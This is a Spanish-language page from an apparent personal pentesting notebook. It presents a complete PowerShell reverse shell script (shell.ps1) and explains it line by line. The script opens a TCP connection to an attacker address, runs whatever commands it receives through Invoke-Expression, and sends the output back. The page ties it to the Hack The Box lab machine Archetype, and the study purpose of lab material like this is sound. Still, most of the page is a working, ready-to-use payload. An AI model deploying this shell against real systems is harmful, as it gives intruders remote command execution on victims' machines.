Security Layer
Research Articles 🔎🎵👽GitHub
  • Bienvenido a Security Layer
  • 👾Hack The Box
    • 👾HACK THE BOX
    • Archetype
    • Responder
    • Three
  • Crocodile
  • Unrested
  • Shibboleth
  • Active
  • Bastion
  • Access
  • Devel
  • Optimum
  • Cicada
  • Forest
  • Sauna
  • Support
  • 👾Try Hackme
    • 👾TRY HACKME
    • Attacking Kerberos
  • 🛠️Tools
    • 🛠️Tools
    • Suite Impacket
    • SMBmap
    • SMBclient
    • WinPEAS
    • EvilWinRM
  • Wfuzz
  • Responder
  • John The Ripper
  • Gobuster
  • Hydra
  • Ffuf
  • nxc
  • Enum4Linux/Enum4Linux-ng
  • Crear Diccionarios
  • Kerbrute
  • Microsoft Windows
    • MSSQL
    • Glosario
  • ⚠️Scripts
    • Shell.ps1
    • Common shell Payloads
  • Comand Line Tools
    • Comand Line Tools Linux
    • Wget
    • Strings
    • Compartir y descargar recursos
    • Comand Line Tools Windows
    • Enumerar permisos de usuarios
    • Listar o identificar ficheros especificos
  • AWS
    • Conexiones a Bucket s3
Powered by GitBook
On this page
  1. Scripts

Shell.ps1

Payload shell.ps1

$client = New-Object System.Net.Sockets.TCPClient("0.0.0.0", 443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % { 0 }

while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + "# "
    $sendbyte = ([Text.Encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}

$client.Close()

Explicación de las partes más relevantes del código:

Linea 1:

$client = New-Object System.Net.Sockets.TCPClient("0.0.0.0",443)
  • Crea una instancia de la clase TCPClient conectándose a la IP y puerto indicados.

  • Variable $client es un objeto TCP que mantiene la conexión con el atacante.

  • Función: New-Object es usada para instanciar clases de .NET en PowerShell.

  • En síntesis, esta línea está creando un objeto (instancia) de la clase .NET System.Net.Sockets.TCPClient.

Línea 2:

$stream = $client.GetStream()
  • .GetStream() es un método de TCPClient.

  • Devuelve un NetworkStream, que es el canal por donde viajan los datos de ida y vuelta

Linea 6:

$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
  • New-Object System.Text.ASCIIEncoding → esto crea una instancia del codificador ASCII, que permite convertir entre bytes ↔ strings.

  • $bytes es un buffer con datos binarios que vienen por el NetworkStream.

  • .GetString($bytes, 0, $i) convierte esos bytes en texto plano.

👉 Así, $data contiene el comando en texto que el atacante escribió desde su lado.

Linea 7: el corazón de la reverse shell:

$sendback = (iex $data 2>&1 | Out-String)
  1. iex $data → iex es una abreviación de Invoke-Expression, una función de PowerShell que evalúa y ejecuta texto como si fuera código. Si $data contiene: "Get-Process", entonces: iex $data ➜ ejecuta Get-Process

  2. 2>&1 → redirige los errores (canal 2) al canal de salida estándar (1), para no perderlos.

  3. | Out-String → convierte todo el resultado (incluso errores) a una cadena de texto legible.

  4. El resultado final se guarda en $sendback.

👉 Esto asegura que incluso si el comando falla, la shell no crashea y el atacante recibe el mensaje de error también.

Linea 9 y 10:

$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)

Ese resultado de la ejecución ($sendback) se convierte a bytes y se envía de vuelta por el NetworkStream hacia el atacante.

Ver maquina: Archetype (HTB tier 2)

Last updated 1 month ago

⚠️
Archetype